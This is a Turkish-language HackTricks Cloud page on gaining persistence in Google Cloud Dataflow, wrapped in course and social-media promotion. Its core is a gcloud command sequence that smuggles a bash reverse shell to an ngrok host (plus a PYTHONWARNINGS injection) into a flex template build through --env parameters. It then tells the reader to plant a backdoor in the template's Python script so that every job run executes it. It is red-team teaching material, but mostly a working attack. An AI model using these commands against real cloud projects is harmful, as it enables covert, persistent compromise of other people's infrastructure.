GCP - Dataflow Persistence

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Dataflow

Görünmez kalıcılık inşa edilmiş konteynerde

belgelerden alınan eğitimi takip ederek yeni bir (örneğin python) flex şablonu oluşturabilirsiniz:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

İnşa edilirken, ters bir shell alacaksınız (önceki örnekte olduğu gibi ortam değişkenlerini veya Docker dosyasını rastgele şeyler çalıştıracak şekilde ayarlayan diğer parametreleri kötüye kullanabilirsiniz). Bu anda, ters shell içinde, /template dizinine gidip çalıştırılacak ana python betiğinin kodunu değiştirmek mümkündür (örneğimizde bu getting_started.py). Buraya arka kapınızı yerleştirin, böylece iş her çalıştırıldığında, bunu çalıştıracaktır.

Sonra, bir sonraki iş çalıştırıldığında, oluşturulan tehlikeye atılmış konteyner çalıştırılacaktır:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.